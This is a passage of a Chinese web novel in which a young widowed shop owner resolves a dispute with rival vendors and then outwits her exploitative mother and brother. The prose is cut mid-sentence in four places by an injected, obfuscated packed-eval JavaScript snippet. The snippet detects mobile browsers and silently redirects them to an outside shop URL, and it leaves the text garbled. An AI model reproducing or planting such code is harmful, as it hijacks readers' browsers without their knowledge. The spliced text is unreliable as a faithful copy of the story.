“各位，如果大家看得开心，我想给大家讲讲我的故事。你们看着我好像很有手艺吧，其实这项绝活我练习了很久，就在不久前，如果没遇到水姐姐，我和妈妈恐怕已经不在这个世界了。”王芹芹双眼通红，声音与此同时，变得更加坚定起来。“人人都嫌弃我用双脚做衣服，可我活着就靠这双脚，我怎么可能让他不干净，但大家还有偏见，我爸爸早就不在了，妈妈为了养活我，只能带着我做衣服，这两年日子难过，当时我妈妈去找工作的前一晚，是买了敌敌畏回来的。要是找不到，等她回来我们母女俩就一起走了，彼此也能有个伴儿。” 听着女儿讲述过去的故事，白秀云用手捂住嘴巴，眼泪控制不住地往下掉，分不清是这泪水是为过去的困难而落，还是为眼前的人儿终于如花朵般绽放得这样耀眼而落。是啊，那站在人群中的姑娘，曾经需要自己那般小心呵护，如今，都能站出来保护自己和她的水姐姐了。 “是一次偶然的相遇，让我们母女认识了水姐姐。她说，她会养活我们，我们才有了活下去的希望。可是你们知道吗？她的丈夫才死了不久，她还有个女儿要靠她养活，在此之前她连个工作都没有的，是靠摆地摊才有了今天的莲仙。环境不好都很难她也不容易，她的摊位被流氓砸过，就连如今的这次和电影之间的合作，也是她将自己的胳膊伸进人家导演的车门里，被车门狠狠夹过一次，才硬换来的。我的水姐姐，也不过才二十岁，这一年她吃了多少苦，才有了今天稍有起色的样子。”王芹芹边说边看向围着水非仙的那几位老板。 她怒视着那群人，厉声道：“环境不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13007060|134372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好，水姐姐身为女子都豁出命来破局，你们几个大男人，落于一个二十岁女孩子的身后，不思进取反而想着去抢别人的努力成果，你们是害臊也不害臊？” 围观的客人们听着王芹芹的话，都无比认同，开始对着那群大老爷们儿指指点点。那几位老板其中还有点爱面子的，此刻被说中心事已经打起了退堂鼓。 王芹芹转身又对客人们朗声道：“但这不是我想说的，我想说的是，我相信，困难都是一时的。大环境不好，没有人脱身得开，但我相信问题总会解决，熬过寒冬总有春天在等着我们。就像我和妈妈，我们为这样的手艺，吃过不少苦。本以为努力没有用，本以为是死路一条，可在绝处，我们遇到了水姐姐。所以大家，我相信，你们的好运都会在未来的努力中等着你们。不要害怕一时困境，风云后才会见彩虹。” 王芹芹的话十分朴素，可却是店里这群正在红尘中煎熬的人需要的。有人已经开始喝彩，“好！”还有的，已经站在水非仙和王芹芹身边，是男人，怎能见着这样好的姑娘们被欺负。 水非仙见店里的形势，已经没有再与这伙人争执的必要了。她也不看那胖老板，只转身对着这群来闹事的其他人说：“我相信，大家今天来，也是一时失去了理智。被生活逼到极限了，我能理解，谁还没个困难的时候。大家同在一条街做生意，抬头不见低头见的，互相帮助总比互相结怨的好。这样，我这里每天早上来排队的客人多，小妹倒是有一招可以双赢，就不知各位老板能不能听得进去。” 水非仙给出台阶，众人哪有不接的道理，纷纷表示：“水老板说得对，我们也确实一时不理智，只要水老板愿意，但请指教。” “我这里每天早上来排队的客人啊，都是暴晒在太阳底下的，这时候要是谁能在旁边，摆个摊，给排队的人一个座位，一把遮阳的伞，那小吃做的味道再香一点，来我这儿消费的那都是过百的，必定很多人也不会介意再多花个几毛一块的少受点罪。客人舒坦点，我自然也没拦着不让你们摆摊的道理，你们说，是不是这个理儿。”水非仙微笑道。 那几位老板一合计，确实可行，本来每天早上莲仙门口围着的人就非常多，不缺基础客流量。自家在这儿一摆，味道好，客人吃着香，自己服务得好，搞不好还能发展成店里的回头客也说不好。都鼓着掌赞许道：“还得是水老板，这格局大，怨不得生意做得也是最好。” 水非仙掩嘴轻笑：“哪里哪里，众位做生意这么多年，肯定都是想到了的，不过是等我松口罢了。只是有条规矩，在我店门口摆摊，不许争抢，必须客客气气，大家一起服务好每个客人，彼此之间也不能急眼。至于客人选择哪里用餐，那全凭本事，还有，不许弄乱我门前的环境。当然，还有最后一点。”水非仙眼眸一转，冷冷地瞥向一边的胖老板，无情开口：“你不许来，莲仙永远不欢迎你。” 43.娘家人 “你一个女孩子家家的，心眼可不敢这么小。”胖老板听到水非仙这么说，既拉不下面子求人家，又不愿意人人都能占到的好处以及占不上，憋了半天，就憋出这么句话。 水非仙冷笑一声：“我心眼还好吧，至少比你眼睛大。你要是眼明心亮，也不至于说逮着我们几个姑娘家看着好欺负就可劲儿欺负。我水非仙向来不好与人结怨，但也不代表我会任人欺负。老板们，他人高马大的，我拗不过他，他如果来，那我就不敢再让诸位在我门前摆摊了，这客人见到也害怕，究竟还要不要来，你们做决定吧，我不干涉。”说罢，就任那胖老板在身后骂骂咧咧，再也不看他。 之前还站在他身后的众人，此刻毫不犹豫直接换边。更有甚者，其中有人直接指着那胖老板骂道：“我们这几家谁想来干这种缺德事，还不都是你这种小人怂恿的。要不是及时认清你的真面目，只怕此刻真要犯下错事。你这人品，就别站在这儿了，还不赶紧离开，我们几家老板以后来这儿摆摊，也不能白摆，这几个女孩子的店到底不安全，以后能帮，我们就帮，就防着你这种人。” 那胖老板已经被这些人气得说不出话来，他只嘴里喃喃道：“好啊，你们一个个的，翻脸比翻书都快，人性的险恶我算是见识到了。” 其中一位老板也是开面馆的，此刻已经举起手中的擀面杖，恶狠狠上前对胖老板怒骂道：“还不快走，再不走别怪我手中的擀面杖翻脸无情。” 见这位老板也不像说假话，胖老板只得缩紧脖子一步三回头，快速离去。 那胖老板走后，几家店主你看看我，我看看你，其中一位年纪大的，搓着手上前笑呵呵问水非仙道：“水老板啊，这讨厌的人已经被我们赶跑了，你看这……我们什么时候过来比较方便啊。” 水非仙微笑点头道：“多谢各位照顾了，今天这时候也晚了，大家要准备也来不及，不如就明天开始，大家方便的话，随时可以过来。” 听到水非仙这么说，几位店家这才乐呵呵地散去，水非仙这边才继续开始营业。 到晚上闭店的时候，白秀云和王芹芹都凑过来，王芹芹脸色微红地凑在水非仙身边，水非仙知道，这小姑娘是想让自己表扬呢。她伸手摸摸王芹芹的脑袋，称赞道：“我们芹芹真棒，进步得好快，已经是我们莲仙的顶梁柱了。” 王芹芹立时羞红了脸，刚才还话音响亮掷地有声的姑娘，此刻低着头完全不知道要说什么。 白秀云凑过来，担忧地问水非仙：“小水啊，我看那些个老板，心里都有小九九呢。今天的事，肯定不会只是那胖老板一个人的主意，你就这么针对他，他会不会记恨咱们，要不算了吧，多一事不如少一事。” 水非仙摇摇头：“一味地忍让不会换来尊重，只会让欺负你的变本加厉。我当然知道今天的事不会是他一个人的主意，他也不过是我今天用来儆猴的鸡。拿他开刀，反而这些老板们以后行事会对咱们存着三分忌惮。不远的将来，我们的莲仙定然会越走越远，走到一个令他们难以企及的位置。白姐，人性就是这样，你比别人厉害一点，他们会嫉妒你，甚至伤害你，但如果你比他们厉害很多，他们只会羡慕你，仰望你，届时一切问题烟消云散。” 走得很远吗？白秀云感觉自己有些想象不出来，走得很远那是到什么地步？城里有两三家店吗？不过，不管小水是怎么想的，她总觉得，小水说到，那就是能做到的。 水非仙笑嘻嘻地看向王芹芹道：“我一直有这个想法，只是不好实施。但今天看你的样子，我觉得是时候了。芹芹，我给你的工资翻一倍，你来做我店里的培训师吧。” “培训……师？”王芹芹有些听不懂，可她的内心此刻激烈地跳动起来。 水非仙解释道：“对，我需要你每周抽出一天的时间，走访城市的各个居民点，寻找那些生活困难想要改变的人，最好是愿意吃苦，有进取精神，还有那么点灵性的，当然像你和白姐这样从前生活遇到困难的特殊人员最好，粘性强。我需要你帮我在最短时间内，培训出一支手工制衣军团来。每个人每月工资200，各种公家的福利我们都有。可以做到吗？” 白秀云听到水非仙的话，眼睛一亮，她明白水非仙这话是什么意思，她是想让自己的女儿带团队啊。如果莲仙的未来一路光明，那她的女儿岂不是……白秀云期待地看向自己女儿。 王芹芹看上去有些呆呆的，她自然是听懂的，她喃喃道：“我行吗？我初中都没念过。我还能带人？” 水非仙挑眉，上前捏住王芹芹的肩膀帮助她站立起来，她霸道开口：“怎么？现在连你水姐姐的眼光都质疑起来了？请把我行吗改成我怎么做得更好？你可是我未来的技术总监，连你都怀疑自己，我们莲仙岂不完蛋？” 听到水非仙的话，王芹芹的眼神逐渐坚定起来，虽然听不懂技术总监是什么，可她喜欢这个名头。她认真点头：“好。” “那么，我尊敬的技术总监，这个任务交给你，需要多久完成？” 王芹芹想想道：“八个月足够，裁缝不难学，刺绣我不想立刻教，这要等确定他们人品之后。我会怕有人混进来偷师。” “不错嘛，已经有那范了。” 听到水非仙的话，王芹芹再一次害羞地低下头，只是仔细看的话，会发现她的嘴角就差咧到耳根处了。 闭店后的水非仙骑车去陈玲家接小莲，陈玲今天似乎有心事要同小莲说，小莲身为陈玲最好的朋友之一也是义不容辞，今天一大早就跟水非仙报备过，放学后第一时间就去找了陈玲。 水非仙赶去陈家时，小莲已经在门口等着了，看到妈妈过来，直接就跳上自行车，用双手挽住妈妈的细腰。 水非仙好奇地问道：“所以，她到底是有什么事？” 小莲笑道：“我告诉你可以，但你不许告诉她说我告诉你了。” “成交。” “我怀疑，我快有姐夫了。” “哇。李秋实这么给力的吗？这才过去几个月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008400|134372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊！”水非仙赞叹道。 “那可不是，妈妈，我跟你说哦，那李秋实，每次送给玲玲姐的东西都是自制的，而且超用心超精致。几乎每天都在给玲玲姐做东西，换成我，我都心动。” 听到女儿这么说，水非仙猛然想起原书剧情来，心里一咯噔。她吞咽口水，装作不经意道：“宝贝，咱们家很开明的，你如果有一天也有喜欢的人，可以告诉妈妈。我来帮你把关，如果对方人品可以，我可以帮你们的。如果对方人品不行，那我觉得还不如趁早算了，别被骗了……” 小莲将头埋在妈妈的背上，咯咯直笑：“帮我谈恋爱？妈妈，你也太好笑了，我才不到十岁啊。” 水非仙尴尬，她也意识到自己的话有些离谱，匆忙找补道：“我指的是未来，未来好吧……” 母女两人谈笑间，已经回到起重机家属院门口。今天的起重机家属院看上去与往日不同，那院门口的台阶上，坐着两个人，一个老妇人和一个年轻男子，那老妇人眼神精明还长着个蒜头鼻，那年轻男子虽然长相还不赖却看起来有些发福，此刻的他们蹲在那里眼神死死盯着所有路过的人，明明是下意识的表情，看上去却显得凶神恶煞。 那两人看到水非仙骑车过来，噌地一声一跃而起，尤其是那老妇人扑到水非仙跟前就开始号啕大哭边哭手还要去抓水非仙的自行车车头：“仙娃子，我的仙娃子，你受苦了，别怕，妈来了啊！妈带着你弟弟，都来帮你了。” 对方伸手扑过来得太过突然，水非仙下意识将小莲护在身后，一脸戒备地看向眼前的女人。什么？这原身水非仙，还有母亲，有弟弟？那自己老公死了这几个月，怎么没听家里有过一点动静？原书里关于水非仙这个后妈的身世，那是一点都没提。难道是自己的到来，改变了这一切？ 见水非仙并没有如从前一般听自己的话，也没有表现出多与自己亲近的样子。水妈妈心里第一时间就敲起警钟，不好，这姑娘怕是赚了点钱，翅膀硬了。她当即大声嚷嚷起来：“哎哟，水娃子，你这是怎么了？连你妈和你弟如松都不认了？妈知道你受委屈了，可这不也是来了不是吗？那我们县城人得到消息哪有这么快的！我们大老远来帮你，结果你就给我们甩脸子吗？妈也不叫，弟弟也不亲的。这城里饭是多冰，才能把你的心给吃硬了？” 眼见着周围吃过晚饭，闲着出来逛街的人就要往来凑。水非仙扯出一个微笑，“妈，弟弟，我这不是高兴得过了头，这样你们来了我也不能亏待你们。今天咱们一家就去下馆子。就路过那个馆子你们先去，随便点些什么。我先和小莲回家拿了钱就过来。” “哎，哎，这才是妈的乖女儿。”水妈妈说完，给水如松使个眼色就带儿子离开。离去前，水如松的眼神还死死黏在水非仙的车子上，丝毫不掩饰眼神中的贪婪。吓得小莲在身后紧紧抓住水非仙的衣服。 水非仙叹口气，这一天天的，怎么就不消停，事儿跟处理不完一样。眼下，还是得先找人打听清楚实际情况才好。 44.往事 水非仙敲响王姐家的大门。据她所知，王姐应当是原主在这座城唯一有几分私交的人。 “哎，来了。”王姐的声音从屋内传来，与她平时温柔知性的声音相比似有不同，此刻王姐的声音竟隐隐透露出几分暴躁跟不耐烦来。“小水？怎么是你？小莲也在啊。”将门打开后的王姐看到水非仙有几分惊讶，她让出身位来方便水非仙和女儿进屋。 水非仙与小莲进屋后，就看到客厅里坐着白英双眼哭得通红，白大哥看起来不在家，此刻王姐跟女儿似乎正在发生争执。水非仙看一眼小莲，小莲接收到水非仙的信息后，上前牵起白英的手：“白英姐姐，你带我去卧室玩吧，好不好？” 白英点点头，勉强扯出一个微笑，随后带着小莲去了自己房间。 王姐见孩子们一起离开，跟着水非仙一起坐在沙发边上，压低声音忧心忡忡问道：“这天色也不早了，还带孩子过来，是发生什么事了？有事你就跟王姐说，王姐能帮上的，一定帮。” 水非仙没有表现出任何情绪，只皱着眉头说：“我妈，带着我弟弟来寻我了。”她不露声色，静静观察起王姐的表情。 王姐先是惊讶，又满面愁容道：“小水，你可不能犯糊涂，虽说她是你亲妈，但你可不能再犯糊涂，不能跟之前一样对她们言听计从了，你和小莲的日子才步上正轨。真不能再被毁了！” 几句话之间，水非仙已经确定敌我关系，接下来要做的，就是套出原主究竟发生过什么事。她长叹一声，轻拍拍王姐的手道：“天下无不是之父母，我就剩这些亲人了，还能不孝吗？” 王姐听到水非仙这么说，急得直跺脚道：“小水，做人不能这么老实，会吃亏的。虽说孝顺本身没问题，可你妈她值得你孝顺吗？从小她什么都给你弟弟，你忘了？还有之前，为啥送你来城里念高中，不就想你嫁个城里人，换点钱，好供你那扶不起的弟弟念大学。你好歹是高中毕业，但凡花点钱找个关系，那都能找个好工作的呀，可她这点钱都不愿意花。是挑都不挑直接把你卖给艾建国了。之前建国死的时候你那么难，他们要来早来了。现在进城还能有个什么目的？我猜大概就是你丈夫死了那么久，你还撑过来，他们怀疑建国给你留下钱了！你可长点心眼吧！” 原来是这样，水非仙一直就奇怪，原主明明一个高中毕业女学生，长相还不赖，怎么就在家里成了家庭主妇，竟是还有这样一番原因在里面。也还好，水非仙开店的事，是瞒得密不透风，连这个小区里都没人知道，否则还不知道要生出什么事来？ 水非仙露出个悲伤的表情，她感激地看向王姐道：“多亏王姐及时骂醒我，你说得对，眼下我有了小莲，即使不为我自己，也得为我女儿争上一争。” 那王姐轻轻叹气，拉过水非仙的手道：“你能想明白就好，我们这些当妈妈的，哪个不是把自己的孩子放在头一位的？你就看我家白英，这高中刚开始念没多久，她就不想念了。咱们起重机厂你是知道的，那全市来说都是好工作，她没个高中文凭，想进我们厂那得多难？” 王姐正说着，那白英跑出来推开卧室门，红着眼睛嚷道：“时代不同了，妈。现在进你们厂子，你真的觉得还是好事吗？为什么进这样一个看不到未来的地方，还得花钱托关系啊？为什么你们心里都明白，这厂子的待遇根本和外面的私人企业比不了，为什么你们一边担心厂子干不下去，一边还能觉得进这厂子是什么荣耀啊？” 王姐情绪也跟着激动起来，她也顾不上身边坐着的水非仙还有白英后面跟着的小莲，急着就要冲上去理论，水非仙一把上前拉住，对着王姐摇摇头，然后温柔地对着白英微笑，开口说道：“小英，你妈妈不会表达，但我想她是真心为你好的，你们之间缺少真正的沟通。不过我在，我会帮你们。你先告诉水姐姐，你不想上学，仅仅是觉得上学没有出路吗？还是说你真的对学习厌恶至极？” 白英听到水非仙这么说，激动的情绪有所缓和，再加上旁边的小莲走过来为她递上擦眼泪的卫生纸，白英接过，对着贴心的小莲温柔笑笑。深呼吸缓口气道：“小水姐，两方面都有。其一是我学习实在不行，我知道我即使高中念完，我考不上大学的。没个大学文凭，这几年时间就白费了，还不如出去换点工作经验。另一个是，我真的觉得要个高中文凭进厂没有用。” 水非仙问王姐道：“你是真想逼她考，她考不上的大学？” 王姐叹口气道：“那怎可能呢？我自己就这个水平，不是个念书的料，咋能要求我自己的娃去做我做不到的事呢？我就想她有个高中文凭，凑合着念完也算了。好找工作一点。” 水非仙心下了然，对白英提议道：“你继续念书，工作的事交给你水姐姐我，我保证我为你找的工作比这个起重机厂能给的待遇都好。但你要记住，念书不是为了考学，而是为了能多懂一点，多知道一些，这样以后不管跟谁，都能搭得上两句话，你以后工作了就能知道这一点有多么重要。不喜欢做题，咱们就不做，但老师讲的，不能不学。”说完，她又看向王姐，“王姐，你看这样行吗？” 王姐眼神迟疑地瞅着水非仙：“你真能给白英找着什么好工作？小水，你是摆摊的时候认识了什么大老板吗？” 水非仙微笑点头：“算是吧，认识了很多大老板。”然后她又问白英：“这样可以吗？”得到白英的肯定回答后，水非仙嘱咐道：“最近这段时间，我要先解决掉一些事，等两周后，我来你家喊你。以后上学时间，继续上学，反正也不到一年了是吧，把书念好，我说到做到。” 从王姐家出来后，水非仙带着小莲来到巷子口的那家店。那是一家卤肉店，水非仙和小莲赶过来时，水妈妈正和水如松坐在店里的正中间，面前摆着一堆空盘子，那水如松正抓起一个大肘子，妄图整个往嘴里塞。水妈妈此时正边拍着儿子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025412|134372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背，边继续往对方的碗里夹肉。 仔细一看，那水妈妈嘴里也是塞满了肉，肉汁从她的嘴边流下来她都顾不上擦，边吃边嚷着：“乖儿子，快吃，快吃，你姐买单，可给我们儿子饿坏了。吃不够啊，妈再去点。” 小莲看着他们的吃相，害怕地拉紧妈妈的手，水非仙用力回握住女儿，她的心里也感到阵阵恶心。好像胸口被卡着一大坨猪油，这母子二人的吃相真是令人生理不适。 她趴在女儿的耳朵边上轻轻说：“等会儿啊，你就跟紧妈妈，如果觉得不舒服或者害怕就不要看他们。他们说的话，你都当成是放屁。妈妈跟他们说的，你也不要当真，好吗？” 小莲点点头，用力握紧妈妈的手，以做回应。 看着女儿如此懂事，水非仙心里一软，拉着女儿，上前迎上那对母子。 走到母子二人跟前，水非仙笑着喊道：“妈，如松。”听到水非仙的声音，那水如松的头根本没有抬起来一下。反而是下意识将手中的肘子握得更紧，好像害怕别人会从他手里将肘子抢走一样，那吃肘子的血盆大口张得也更大起来，好似野兽成了精。 水妈妈倒是停下手上的动作，冲女儿热情道：“仙娃子来了，快坐，一家子就不要客气了。你别怪你弟弟吃得多，我们也是一路上饿了很久，你弟弟都饿瘦了。” “我怎么能怪如松呢？我就这一个弟弟。” 水妈妈听到这话满意点头：“你说得对，咱们家，你爸刚走没两年，家里就你弟弟一个男人，要真出了什么，你不也得靠他，你说这话啊，总算是活明白了。不过，这些东西你弟弟都吃成这样了，你和这女娃子，要是晚上没吃，不然再点一些？” 水非仙看向小莲，小莲摇摇头，水非仙对小莲的拒绝并不感到奇怪，这次倒不是孩子省钱，谁对着这母女二人还能有食欲，水非仙都得给对方竖大拇指。 看着水非仙和小莲的互动，那水妈妈有些不满，拧着眉头凶着脸嚷道：“这女娃娃就是不行，饭都吃不进去，哪能靠得住。吃都没吃饱呢，咋就能不点了？即使你不吃，那你舅舅还饿着呢！”说完又对水非仙笑笑：“再买点吧，别听这赔钱娃子的，本来就不是你亲生的，别太把她当回事，否则，以后也是个蹬鼻子上脸的。你晚上要是不吃，妈心疼。” 听到水妈妈这话，水非仙的唇角勾起的幅度更大了些，她的眼底闪过几丝兴奋，嘴里却说着：“好啊，都听妈妈的，我这就去多点一些。只是，我手里的钱恐怕不够付这么多的菜。再点些素菜吧？” 水妈妈和水如松一听素菜，就没了胃口，水妈妈嘿嘿笑道：“素菜也可以，挑好吃的来点也行。”水如松则是“哐当”一声将手里的骨头用力砸在瓷盆里宣泄自己的不满。 水非仙就当没听到，起身先去结账，又买了两个素菜。一共消费是30块，水非仙冷笑，30吗？总得想个办法让他们连本带利吐出来。 45.谋局 “所以，妈，你和如松来，到底是为做什么呢？”结完账后的水非仙坐回小莲身旁，语气温顺地问着水妈妈。 水妈妈听到女儿的话呲起那缝隙里塞满肉丝，牙龈还已经出血的大嘴，对女儿说道：“妈说了，听到女婿的事，妈想着女儿就你一个，总不能扔下你不管，就带着你弟弟来帮你了。” 水非仙装出一副很感动的样子，眼泪汪汪道：“妈，你不知道建国走了这段时间，我和小莲是怎么过来的。”又看向如松，忧心问道：“妈，那如松不是还要念书吗？就这么为了帮我，带出来没问题吗？” 水妈妈挥手毫不在意道：“你弟弟，都已经复读过一年，还是没考上。也不是这块料，我就想着，带他进城来谋个铁饭碗。说起这个……”水妈妈左右看看，探过头来对水非仙低声道：“说到这里，你这个当姐姐的就得投资一下了。建国走的时候是不是还给留下钱了？这个钱妈是认为必须拿出来给你弟弟谋个营生。这老公不在了，就得靠弟弟养了呀。你现在还带个拖油瓶，想再嫁户好的，怕是也困难了。” 听到水妈妈这么说，本来还在胡吃海塞的水如松，悄悄瞥了过来，似乎在等着水非仙的回答。 水非仙露出个灿烂的微笑道：“妈，你说得对，我本来就有这方面的想法，回去我就跟你讲讲。这儿人多，不方便。” 水非仙说完，水妈妈跟水如松偷偷得意地对视一眼。然后水如松开口问：“姐，你吃饱了吗？吃饱了的话咱们回家吧？” 吃饱了吗？明明自己和小莲刚坐下，还一筷子都没动呢，水非仙微笑道：“好啊，既然弟弟想回，咱们就回家。” 回家的路上，水非仙紧紧拉着小莲的手，水妈妈见到女儿拉着小莲的手，眉头暗自皱起，什么都没说。 回到家后，水非仙先让小莲进去自己住的主卧，偷偷往小莲怀里塞了两个素包子，这是水非仙刚才结账的时候偷偷为女儿买的。然后眨眨眼睛道：“乖乖在屋子里待着，今晚跟妈妈睡，赶紧把包子吃掉，记住，不管听到那什么那都不是真的。” 小莲点点头，接过包子，乖乖啃起来，边啃边跟水非仙挥挥手。水非仙没忍住揉了两下女儿的头，才关上门离开。 她来到客厅，如松和水妈妈已经脱掉鞋子盘腿在沙发上坐着等水非仙。看到水非仙过来，水妈妈一把拉过水非仙，教育道：“你怎么能和那个小赔钱货关系那么好？真当她是你女儿了不成？你别忘了，她不是从你肚子出来的，不可能跟你一条心。你当那孩子的妈还不到一年呢，我瞧那孩子怪有心机的，也不是个善茬。将来，可得把她嫁远一点。你记住，你面前坐着的，你妈和你弟弟，那才是你真正的亲人知道吧？” 水非仙微笑道：“妈说得对，我分得清，谁才是一家人。” 水如松赶紧说：“姐，那就赶紧把姐夫那抚恤金给我。我有了工作，一定会好好孝敬你和妈的。” 水非仙叹口气道：“我的傻弟弟啊，要不说你要多读点书呢。这抚恤金，一半是我的，一半是小莲的。我没有资格将它全部给人，如果我给了你。那小莲长大以后，把咱们一告，那不全完了吗？” 水如松听到水非仙这么说，眼神中闪过一丝狠毒，他咬牙道：“这小崽子的命，反正都是完全在你手里。我看她听你话得很，干脆一不做二不休，周末咱们一家子把她带到市外，做掉算了。” 水如松不知道这话一出，自己把水非仙得罪到什么程度。无知者无畏，对着一个母亲说伤害对方孩子的事，水非仙想，也就这种蠢货才能做得出来。她继续赔着笑，但那眼底没有丝毫笑意。水非仙一摆手：“如松啊，这大城市和咱们县城可不一样。这种事做不得的。你放心，这个钱就是不能给你，姐也替你想好了路子。” “什么路子？”水妈妈眼里瞬间一亮。 “你知道你姐姐我是怎么靠这点抚恤金撑到现在的吗？那就是摆摊做生意，这时代不一样了，大城市里摆摊，可赚了。你卖的东西，只要是人想要的，那都赚疯了。你们压根猜不到我摆摊赚了多少钱！”水非仙表情夸张道。 “摆个地摊能赚多少钱？总不能还能赚个一千？”水妈妈眼神怀疑问道。 水非仙一拍大腿道：“何止一千！建国走的时候，我拿了抚恤金两千，从里面拿出来一千出去做生意，现在赚回来四千！” 从县城来的水妈妈和水如松哪能想到还有活能赚这么多，在他们眼里，艾建国每个月的两百块都是天价了。水如松听到这四千，眼神发亮，他兴奋问道：“姐，那你的意思是，让我也去摆摊！我也能赚这么多？” 水非仙用力点头：“是啊，弟弟，姐一个女人，摆摊不方便，手头有了点钱以后就没再摆摊了，只在一户大户人家里当保姆。妈说得对着呢，姐未来就得靠你养。姐把做生意的本金给你，你去赚，以后妈和姐就待在家里享清福！你赚得多了当老板了，姐就把保姆的工作辞了，咱们一家子好好过日子。” 水如松兴奋道：“姐，自见你以来，就你这句话，说得最对。你不靠着我，还能靠着那个小赔钱货不成！我是你亲弟弟，自然打断骨头连着筋。” “那你今天就好好休息，明天我带你们两个去看看这城里做生意到底是个什么光景，好让你们眼见为实。” 水妈妈和水如松连连“哎哎”地答应，高兴地赶紧就打算去小莲的屋里翻两床被子出来，睡在沙发上，被水非仙伸手拦下，她热情道：“妈，如松，这都是旧被子，好不容易你们来，我给你们拿床新的。” 说完，进屋掏出两床原主的被子和床单，在沙发上铺上一层床单，包得严严实实，又将被子放下才离开。 第二天天一亮，水非仙先将小莲送去学校，叮嘱她今天会是玲玲姐来接她后，又绕道去莲仙，将店里的工作暂时交给白秀云，交代最近自己不会来店里。这才回到家里。 水非仙回到家时，水妈妈和水如松还躺在床上大声打鼾，水非仙见状故意将家里大门重重关上。那母子二人被惊得从床上蹦跳起来，水妈妈本想破口大骂，定睛一看眼前环境，意识到此刻自己身在何处，才冷静下来。 “快走吧，妈，小松。我得去上班了，当保姆的去这么晚，老板该不给钱了。”原本还有些不悦的水如松听到水非仙说老板不给钱，麻溜地起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025413|134372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来收拾，三分钟不到，母子二人已经穿戴整齐等着水非仙带他们出门了。 水非仙带着他们二人出门后，转身将家里的门锁好，也没骑车，带着他们二人步行来到离家里一站以外的某店铺门前。这母子二人见到商店怕人抢得太厉害，将门开个小缝贩卖东西的样子，简直惊呆，水妈妈喃喃道：“这城里人，都有钱花不掉吗？乖儿子，妈看你姐说得对，城里人这么爱买东西，有的是赚头。” 水如松也看呆了，此刻他对水非仙再没有一丝怀疑，他赶忙道：“姐，我都听你的。” 水非仙微笑道：“既然决定做这行，你们今天就在城里多转转，看好摊位点，我晚上下班回来我们一起讨论。我那老板就是做生意的，我也去帮你打听打听，干什么比较挣钱。” 水如松一听，连忙催促着水非仙去乘车，只是那眼神，就快冒绿光了，他嘿嘿笑道：“姐，你快去，有我陪着妈呢。我们也当在城里耍耍，怎么回家能找见，晚上在家等你，你早点回来哦。” 水非仙点头：“知道了，如松真乖。”说完水非仙就在母子二人期待的眼神中登上公交车，她要去的不是别的地方，而是牛家，她先去自己一直进货比较信任的牛家问到自己想要知道的答案。又坐车前往陈玲家，赶到陈玲家时，水非仙发现李秋实也在。 “水姐姐，你来啦！”看到水非仙过来，陈玲开心地赶来迎接。水非仙看到她身后的李秋实，眼中饱含着对陈玲的眷恋，只是那眷恋之中，还能看到一丝疲态，想来到底是李家的厂子还没缓过来，这次的大环境，对李家的影响比水非仙想象中的还要大。 水非仙拉着陈玲的手坐下，认真道：“这次我来，可不是来陪你玩的，我想求你两件事。这第一件事嘛，我想让小莲在你这里借住几天。第二件事嘛，我需要你找两个人，陪我演一出戏。” 陈玲疑惑道：“两个人好说，现成的，田叔一个，李秋实一个。反正李秋实整天黏着我也没事干。”她边说边对着李秋实翻个白眼，然后又问道：“只是水姐姐，你可是遇到了事？” 水非仙点点头，将家中的事告诉眼前两位朋友。陈玲听完一拍桌子：“这简直是欺人太甚，还有这种家人，我的天呐！怎么办啊！水姐姐用不用我帮你找人给他们套个麻袋打一顿！”李秋实想想出声问道：“水小姐，你是不是已经想好对策了，需要我们帮你，尽管开口吧。” 水非仙伸手点点陈玲的鼻子，笑着说道：“你啊你，这个性子容易吃亏的。你水姐姐今天教你个道理，如果别人刻意给你制造麻烦，与其去解决麻烦，不如去给制造麻烦的人创造个更大的麻烦。我自然已经想好一个局，只差你们了。”说完，水非仙小声地给二人讲解起来。 听完后的陈玲有些怀疑人生，她赞叹道：“水姐姐，我能想到的不过是给他们打一顿，你这也太狠了。你不是说你不会做生意吗？怎么现在，越来越……” 